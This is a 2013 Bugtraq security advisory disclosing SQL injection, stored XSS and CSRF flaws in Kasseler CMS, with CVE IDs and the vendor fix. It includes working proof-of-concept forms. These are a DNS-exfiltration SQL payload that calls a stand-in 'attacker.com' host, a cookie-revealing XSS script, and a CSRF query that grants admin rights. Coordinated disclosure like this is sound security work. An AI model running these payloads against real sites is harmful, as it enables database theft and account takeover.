[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Multiple Vulnerabilities in Kasseler CMS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple Vulnerabilities in Kasseler CMS
- From: advisory@xxxxxxxxxxxx
- Date: Wed, 3 Jul 2013 13:10:20 +0200 (CEST)
Advisory ID: HTB23158
Product: Kasseler CMS
Vendor: Kasseler CMS
Vulnerable Version(s): 2 r1223 and probably prior
Tested Version: 2 r1223
Vendor Notification: May 29, 2013
Vendor Patch: June 28, 2013
Public Disclosure: July 3, 2013
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79],
Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2013-3727, CVE-2013-3728, CVE-2013-3729
Risk Level: Medium
CVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 4
(AV:N/AC:L/Au:S/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in
Kasseler CMS, which can be exploited to perform SQL injection, Cross-Site
Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks and compromise
vulnerable application.
1) SQL Injection in Kasseler CMS: CVE-2013-3727
The vulnerability exists due to insufficient validation of "groups" HTTP POST
parameter passed to "/admin.php" script. A remote authenticated administrator
can execute arbitrary SQL commands in application's database.
This vulnerability could also be exploited by a remote non-authenticated
attacker via CSRF vector, since the application is prone to Cross-Site Request
Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in
administrator to visit a webpage with CSRF exploit.
Basic CSRF exploit code below is based on DNS Exfiltration technique and may be
used if the database of the vulnerable application is hosted on a Windows
platform. It will send a DNS request demanding IP addess for `version()` (or
any other sensetive output from the database) subdomain of ".attacker.com" (a
domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/admin.php?module=sendmail&do=send " method="post"
name="main">
<input type="hidden" name="title" value="1">
<input type="hidden" name="message" value="1">
<input type="hidden" name="attache_page" value="1">
<input type="hidden" name="groups[]" value="123) OR 1=(select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
-- ">
<input type="hidden" name="" value="">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
2) Stored Cross-Site Scripting (XSS) in Kasseler CMS: CVE-2013-3728
The vulnerability exists due to insufficient filtration of "cat" HTTP POST
parameter passed to "/admin.php" script. A remote attacker with privileges to
create categories can permanently inject arbitrary HTML and script code into
application database that will be executed in browser of every website visitor.
The following PoC code displays user's cookies using JavaScript 'alert()'
function:
<form action="http://[host]/admin.php?module=forum&do=admin_new_category "
method="post" name="main">
<input type="hidden" name="cat"
value="<script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
3) Сross-Site Request Forgery (CSRF) in Kasseler CMS: CVE-2013-3729
The vulnerability exists due to absence of CSRF protection mechanisms in the
entire application. A remote attacker can trick logged-in administrator to
visit a specially crafted webpage with CSRF exploit code. This will enable the
attacker to execute arbitrary SQL queries in application's database and gain
complete control over the application.
The following CSRF exploit code will grant administrative privileges to user
with ID=2:
<form action="http://[host]/admin.php?module=database&do=sql_query "
method="post" name="main">
<input type="hidden" name="query" value="UPDATE `kasseler`.`kasseler_users`
SET `user_level` = '2', `user_group` = '1' WHERE `kasseler_users`.`uid` =2
LIMIT 1 ;">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
Registration is open by default, and the attacker can easily get his user ID
user from the profile page:
http://[host]/index.php?module=account&do=user&id=2
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to Kasseler CMS 2 r1232.
More Information:
http://diff.kasseler-cms.net/svn.html
http://diff.kasseler-cms.net/svn/patches/1232.html
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23158 -
https://www.htbridge.com/advisory/HTB23158 - Multiple Vulnerabilities in
Kasseler CMS.
[2] Kasseler CMS - http://www.kasseler-cms.net - Kasseler CMS is a high
performance content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.